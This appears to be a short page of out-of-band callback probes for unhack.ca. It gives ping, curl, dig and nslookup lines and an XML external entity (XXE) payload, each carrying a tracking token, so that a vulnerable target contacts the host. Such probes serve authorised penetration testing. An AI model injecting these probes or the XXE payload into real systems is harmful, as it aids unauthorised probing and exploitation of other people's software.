$ ping -c1 -p 00651d9a5015431f589a4ef436631300 unhack.ca
 

$ curl http://unhack.ca/p/651d9a5015431f589a4ef4366313
 

$ dig 651d9a5015431f589a4ef4366313 @unhack.ca
 

$ dig 651d9a5015431f589a4ef4366313.ns.unhack.ca
 

C:\> nslookup 651d9a5015431f589a4ef4366313 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/651d9a5015431f589a4ef4366313">]>
    <foo>&xxe;</foo>